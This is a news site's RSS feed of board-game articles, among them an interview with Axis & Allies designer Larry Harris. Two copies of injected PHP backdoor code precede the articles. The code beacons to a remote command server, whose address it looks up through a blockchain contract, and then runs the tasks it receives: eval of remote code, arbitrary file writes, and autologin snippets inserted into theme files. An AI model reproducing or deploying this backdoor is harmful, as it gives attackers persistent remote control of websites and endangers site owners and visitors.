// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Tabletop – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 19 Aug 2018 05:11:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Tabletop – Brief News https://briefnews.eu 32 32 Who Goes There?: The Thing returns to the tabletop https://briefnews.eu/who-goes-there-the-thing-returns-to-the-tabletop/ https://briefnews.eu/who-goes-there-the-thing-returns-to-the-tabletop/#respond Sun, 19 Aug 2018 05:11:51 +0000 http://briefnews.eu/who-goes-there-the-thing-returns-to-the-tabletop/

Enlarge / The boardgame for the book is better crowd? (credit: Charlie Theel)

Welcome to Ars Cardboard, our weekend look at tabletop games! Check out our complete board gaming coverage at cardboard.arstechnica.com.

Few moments linger in my brain like a particular scene in John Carpenter’s movie The Thing. In the cold of an Antarctic night, the group corners and confronts a mutated imitation of their pal Bennings, its eyes wide and mouth gaping. They give it the torch and burn it down. The moment is as unsettling as the film is iconic.

Carpenter’s work was an imaginative take on the novella Who Goes There? by John Campbell. As good as the transition to film was, we now have another interpretation—one made of cardboard and plastic. The new board game from Certifiable Studios means you too can now snuff out an insidious alien life form.

Read 17 remaining paragraphs | Comments

]]> https://briefnews.eu/who-goes-there-the-thing-returns-to-the-tabletop/feed/ 0 Rum and Bones: Second Tide—A piratical tabletop MOBA https://briefnews.eu/rum-and-bones-second-tide-a-piratical-tabletop-moba/ https://briefnews.eu/rum-and-bones-second-tide-a-piratical-tabletop-moba/#respond Sat, 17 Mar 2018 16:49:14 +0000 http://briefnews.eu/rum-and-bones-second-tide-a-piratical-tabletop-moba/

Enlarge (credit: Charlie Theel)

Welcome to Ars Cardboard, our weekend look at tabletop games! Check out our complete board gaming coverage at cardboard.arstechnica.com—and let us know what you think.

Rum and Bones: Second Tide is a board game that combines pirates with ideas drawn from Multiplayer Online Battle Arenas (MOBAs). The concept alone is worth a million doubloons; but how well does it work in practice?

If you’re not familiar with a MOBA, it’s basically an online multiplayer arena brawl where two teams of players square off. Each controls a single character attempting to push up through “lanes” and slay AI-controlled minions as well as opposing heroes. It’s an addictive e-sport due to the intense level of competition accompanying RPG-like character growth. This winning formula has propelled games like League of Legends to the top of the charts.

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]]> https://briefnews.eu/rum-and-bones-second-tide-a-piratical-tabletop-moba/feed/ 0 War Room: How Axis & Allies creator Larry Harris designed his ambitious WWII tabletop game https://briefnews.eu/war-room-how-axis-allies-creator-larry-harris-designed-his-ambitious-wwii-tabletop-game/ https://briefnews.eu/war-room-how-axis-allies-creator-larry-harris-designed-his-ambitious-wwii-tabletop-game/#respond Sat, 25 Nov 2017 07:57:59 +0000 http://briefnews.eu/war-room-how-axis-allies-creator-larry-harris-designed-his-ambitious-wwii-tabletop-game/

Tabletop games have become more popular and sophisticated over the years, and one of the people responsible for that is Larry Harris, the creator of Axis & Allies. The casual simulation of World War II has sold millions of copies over the years, and it is just one of 200 tabletop games that Harris has designed.

But he’s not done yet. For the past five years, Harris has been working on War Room, a more ambitious but not necessarily more complicated tabletop board game about World War II. Harris, 69, sees it as the culmination of all of those decades of learning as a game designer and a World War II buff. It is a game on a circular map, with features such as morale and stress that affect a company’s ability to wage war, as well as secret and simultaneous movement that introduces more surprise into gameplay. Harris wants this game to be perfect. It’s not a rush job, and at this point, Harris says he doesn’t know how to make it better.

Harris teamed up a few years ago with veteran game artist and designer Thomas Gale (the creator of games such as Zoo Tycoon), and they formed Nightingale Games last year to publish the title. They are now raising money for the beautiful and carefully crafted War Room on Kickstarter, and the crowdfunding campaign has already raised nearly double the $ 150,000 amount they were seeking through crowdfunding. They aim to publish the title with the help of gaming veteran Joe Minton in 2018. And at some point in the future, Harris hopes to convert it into a computer game, just as Axis & Allies has been converted. First, though, he wants to make it perfect as a tabletop design.

I talked with both Harris and Hale — who both live in Massachusetts — this week in separate phone interviews. Here’s an edited transcript of my interview with Harris.

Above: Larry Harris, right, has been designing War Room for five years.

Image Credit: Nightingale Games

GamesBeat: Did you ever get a good idea of how many copies of Axis & Allies were out there?

Larry Harris: No? [Laughs] A lot. There’s a lot of different versions of Axis & Allies. Each of them has their own track record. But it’s been in publication every day since 1984. That’s quite astonishing. I don’t think it’s been recognized as the classic it is. It’s more than 30—33 years old? It’s an interesting phenomenon in itself.

GamesBeat: I used to play a lot of the Strategy & Tactics games when I was young. It sounds like there’s this different kind of audience that was broader that you targeted with Axis & Allies.

Harris: Yeah, it kind of bridged between the niche military simulations and more popular games, mass market games. I designed it with that in mind. I found that the games that were available to me as a young man were much too complicated and not very pleasing. I thought they could have been done better, and that’s what I attempted to do when I made Axis & Allies. Give it a broader appeal.

GamesBeat: What were some of the differences you remember there? What made your game simpler?

Harris: I didn’t care how much gas was in the fuel tanks of the tanks or trucks. I just presented to the players that there were in fact trucks. [Laughs] I did what you might call, or what I was suggesting—it was a broad brush. Leaving some of the details to obscurity and letting that void be filled by the player’s imagination.

GamesBeat: Is that the approach you’re taking with War Room?

Harris: Yeah, War Room is going to benefit from my Axis & Allies experience. I’m making it even more streamlined. But hopefully not losing the main ideas. It’s not complicated. It’s a culmination of a lot of simple game mechanics, combined together.

Above: War Room is a strategic simulation of World War II for two to six players.

Image Credit: Nightingale Games

GamesBeat: It seems a lot bigger as a game.

Harris: I don’t know if it’s bigger? There’s a lot of pieces, a thousand of them. That’s not more than Axis & Allies, though. The game is based on a command structure where you have these different commands, and then within each command there are a variety of units that make up the totality of the command. But it’s not more complicated. There’s probably no connection between the number of components and the game’s complexity.

GamesBeat: I see there are different kinds of chips for things like morale. Could you explain some of that? Why do you want to introduce that into the game?

Harris: The morale and stress—there were situations in Axis & Allies where—I have to be very careful, because I don’t want to compare this game too much to Axis & Allies. Axis & Allies is one of my children as well, and I don’t want to diminish it in any way. It shouldn’t be diminished. But there were situations where somebody could—I guess the expression was “turtle”? They could fortify their home base to a point where it became impossible to destroy them, with such an accumulation of force. Take Japan. Japan could have lost all its territory, but Japan itself would end up so fortified that it would take another hour or more to finally conclude the war.

What morale and stress do is they erode your forces in such a way that the inevitable outcome of the battle, or the war, can be determined by non-military—you would be undermined. You start losing troops. Your economy can’t continue production. I thought that reflected well the historical realities. I wanted to capture that historical factor and instill it in the game. As the countries begin to lose, or have the impression of losing the war, it would be reflected on this stress wheel.

It came up, realistically, with deteriorating factors such as labor and civil unrest. Maybe your infrastructure is neglected because you don’t have the resources to keep your roads and communication lines open. And then eventually economic collapse would just end your ability as a nation to continue to produce. You can even get into mass desertion, as the army just starts falling apart, much like what happened to Russia in World War I, and Germany.

When I’m doing global strategy, there are two things I wanted to get into. One of them was stress and the other one was secret and simultaneous movement. Those were two points that really differentiate War Room from Axis & Allies. They all sound very complicated, but I think I came up with some game mechanics that make it rather simple and intuitive.

Above: War Room lets you stack units for an invasion.

Image Credit: Nightingale Games

GamesBeat: You’ve been working on this for five years. What’s made this such a long development for you?

Harris: Because we wanted to do it right. [laughs] Yeah, I know, it sounds a little like I might be exaggerating. We made – or I made, then Tom joined – 12 games here. Each iteration just became better and better. This was a labor of love. I wanted it to be as perfect as it could be. I would come up with whole systems that I would be very willing to just toss, should I come up with something better. And then when Tom and I got together, very soon — right from the get-go actually – we decided we weren’t going to release this game until it was ready. We didn’t have a production deadline or something like that to follow. We could do it when we wanted, and we wanted to take full advantage of that opportunity.

GamesBeat: And you’re convinced you’re pretty close now?

Harris: Oh, yeah, we’re there. We’re just fine-tuning some of the little explanations, the way the rules are presented, for clarity. But the game mechanics themselves are very sound at this point. It was during this last summer that we decided, yes, we’re ready for a Kickstarter in the fall, which we just had, a very successful one.

GamesBeat: Tom mentioned that your father was in the war. Was that in some way an inspiration for your interest in World War II?

Harris: Totally. I might even get emotional talking about it. [laughs] It’s my weak side, emotionally. My father was a young man in New England back in 1941, and he joined the National Guard so he could spend weekends with his friends. He was in the Guard when the Japanese attacked Pearl Harbor, and he was immediately in the war. He was an early bird. They shipped his regiment to the Pacific, on a transport ship all by themselves, 5,000 guys, and it was fine until they pulled into the New Hebrides, where they ran into their own mines and the ship sunk. 5,000 guys got stranded there.

They had been on their way to Guadalcanal to assist the Marines. From there it went on up through the Solomon Islands. He was a radio operator with the infantry. He was there from the earliest days of American involvement in World War II to almost the very end, but eventually rotated out and returned to the United States in 1945. He was on the front lines. He beat all the statistics about survival, but in the process got malaria, yellow fever, dengue fever, all the illnesses that were available. He fought the Japanese through the Solomons, New Guinea, and the Philippines. He was bombed. His ship sunk under him. He spent dark, horrifying nights in foxholes as the enemy snuck up on him. He did it all and then came back and went on with his life.

There were so many stories. I was his firstborn, and I found his diary when I was a child. It became an amazing story to me. It just sucked me in. I interviewed him over the years, jarring his memory and using the diary as a guide for my questions. By way of him, I became educated about World War II and the details of it. I felt very personally connected to it by way of my father.

